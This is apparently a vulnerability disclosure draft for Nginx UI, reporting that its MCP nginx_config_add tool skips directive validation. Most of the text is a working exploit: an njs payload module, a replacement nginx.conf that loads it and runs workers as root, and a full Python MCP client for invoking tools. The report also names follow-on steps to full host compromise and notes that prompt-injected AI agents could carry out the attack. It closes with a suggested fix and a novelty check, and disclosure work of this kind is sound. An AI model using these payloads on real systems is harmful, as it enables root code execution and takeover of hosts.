Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Reproduction payloads (self-contained)

njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    js_import poc from /etc/nginx/poc.js;
    server { listen 8899; location = /pwn { js_content poc.pwn; } }
}

PoC client (MCP-over-SSE, Python stdlib only)

Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.

import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET}   # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}

def sse_reader():
    conn = http.client.HTTPConnection(BASE, timeout=60)
    conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
    r = conn.getresponse(); event = None
    while True:
        line = r.fp.readline()
        if not line: break
        line = line.decode("utf-8","replace").rstrip("\r\n")
        if line.startswith("event:"): event = line[6:].strip()
        elif line.startswith("data:"):
            data = line[5:].strip()
            if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
            else: resp_q.put(data)
        elif line == "": event = None

def post(obj):
    conn = http.client.HTTPConnection(BASE, timeout=30)
    conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
                 headers={**HDR, "Content-Type": "application/json"})
    return conn.getresponse().read()

def wait(wid, t=20):
    end = time.time()+t
    while time.time() < end:
        try: d = resp_q.get(timeout=t)
        except queue.Empty: break
        try: j = json.loads(d)
        except Exception: continue
        if j.get("id") == wid: return j

threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
    if endpoint.get("ready"): break
    time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
      "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
    post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
    print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
    post({"jsonrpc":"2.0","id":3,"method":"tools/call",
          "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
    print(json.dumps(wait(3, 25), indent=1))

Impact

An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise: /root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a user root privilege regression.

Honest scope / caveats

• Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
• RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.
• The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)
• nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via user root.

Suggested fix

Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching mcp/config/config_modify.go and the API paths — i.e. complete the 3e411d38 hardening on the one path it missed.

--- (NOT a form field — include this as the closing section of the Description above) ---

Dedup / novelty

Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the config_add path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.